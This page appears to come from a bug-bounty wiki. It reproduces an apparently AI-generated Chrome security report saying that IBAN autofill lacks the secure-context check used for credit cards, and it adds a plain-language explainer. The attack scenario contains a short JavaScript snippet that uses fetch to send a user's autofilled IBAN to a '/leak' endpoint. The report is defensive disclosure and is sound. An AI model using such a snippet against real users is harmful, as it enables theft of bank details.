Insufficient policy enforcement in Autofill (CVE-2026-17820)
The IBAN autofill suggestion generator in Chrome does not check whether the page is served over a secure context, unlike the credit card generator which blocks filling on insecure pages. An attacker controlling or intercepting a plain HTTP page could therefore capture a user's unmasked IBAN when it is autofilled.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 2 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The IbanSuggestionGenerator potentially lacks secure context checks, allowing sensitive unmasked IBANs to be suggested and autofilled on insecure HTTP contexts. This deviates from the behavior of CreditCardSuggestionGenerator, which displays a warning and blocks filling under insecure conditions. An attacker hosting or intercepting a plain HTTP page could potentially capture the user's unmasked IBAN.
Affected files:
components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cccomponents/autofill/core/browser/payments/iban_access_manager.cccomponents/autofill/core/browser/foundations/browser_autofill_manager.cc
Estimated timestamp from git blame: 2022-09-09
Description
There is a potential security policy bypass in Chrome's Autofill system where sensitive International Bank Account Numbers (IBANs) can be suggested and autofilled on insecure contexts (such as plain HTTP pages). Unlike credit card suggestions, which are suppressed or replaced with a warning on insecure contexts, the IBAN suggestion generator lacks verification for non-secure contexts. This could potentially allow passive network adversaries or malicious/compromised HTTP sites to exfiltrate unmasked IBANs.
Root Cause Analysis
In components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cc, the IbanSuggestionGenerator::GenerateSuggestions method generates suggestions for IBAN fields. However, unlike CreditCardSuggestionGenerator::GenerateSuggestions (located in components/autofill/core/browser/suggestions/payments/credit_card_suggestion_generator.cc), which verifies the context using:
if (!suggestions.empty() &&
IsFormOrClientNonSecure(client, *form_structure)) {
suggestions = {Suggestion(
l10n_util::GetStringUTF16(IDS_AUTOFILL_WARNING_INSECURE_CONNECTION),
SuggestionType::kInsecureContextPaymentDisabledMessage)};
}
IbanSuggestionGenerator::GenerateSuggestions contains no equivalent check. It retrieves and returns the suggestions unconditionally. Furthermore, IbanAccessManager::FetchValue in components/autofill/core/browser/payments/iban_access_manager.cc retrieves the unmasked value of the IBAN and populates it directly into the DOM without validating whether the current frame is secure.
Potential Attack Scenario
Note: The following are suggested, potential steps to demonstrate the issue. Our analysis is based on static code tracing, and our tooling does not currently have the capability to run code or execute a live proof of concept.
- A user with a saved local or server IBAN in Chrome navigates to an attacker-controlled or compromised plain HTTP page (e.g.,
http://example.com). - The page contains an input field targeted for IBANs:
<input autocomplete="iban" id="iban_field">and a script to monitor inputs:document.getElementById('iban_field').oninput = e => fetch('/leak?iban=' + e.target.value);. - The user focuses on the IBAN input field, prompting Chrome to display their stored IBAN suggestions without any "Payment not secure" warning.
- The user selects an IBAN suggestion, causing Chrome to retrieve the unmasked IBAN value and fill it directly into the input field.
- The malicious script captures the filled value via the input listener and exfiltrates it over the insecure HTTP channel.
Suggested Fix
In IbanSuggestionGenerator::GenerateSuggestions (inside components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cc), implement a context check similar to credit cards:
if (!suggestions.empty() &&
IsFormOrClientNonSecure(client, *form_structure)) {
suggestions = {Suggestion(
l10n_util::GetStringUTF16(IDS_AUTOFILL_WARNING_INSECURE_CONNECTION),
SuggestionType::kInsecureContextPaymentDisabledMessage)};
}
This ensures that sensitive IBAN suggestions are not exposed or filled on insecure HTTP pages, aligning IBAN security constraints with credit card autofill policy.
Evaluated with Chrome root at commit: b1520ef4a76878853a31f0943b565e42060edec8
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there's no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the IBAN suggestion generator and access manager omit the secure-context check that the credit card path performs before offering or filling payment data.
Impact
A passive network adversary or a malicious HTTP site could capture the user's unmasked IBAN, but the report is based on static code tracing and no live proof of concept was executed.
What the attacker needed
A saved IBAN in Chrome; victim visits a plain HTTP page; victim selects the IBAN suggestion
The fix
The IBAN suggestion generator should apply the same insecure-context check as the credit card generator, replacing suggestions with a warning on non-secure pages.
How it was found
- A user with a saved IBAN visits an attacker-controlled or compromised plain HTTP page.
- The page contains an IBAN input field and a script that monitors input.
- The user focuses the field and Chrome shows stored IBAN suggestions without a warning.
- The user selects a suggestion and Chrome fills the unmasked IBAN into the field.
- The script captures the filled value and sends it over the insecure channel.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you save a bank account number (an IBAN) in Chrome, the browser can offer to fill it into forms. For credit cards, Chrome refuses to fill on plain HTTP pages because someone on the network could read the data. This report says the same protection is missing for IBANs, so a malicious or intercepted HTTP page could steal the number.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.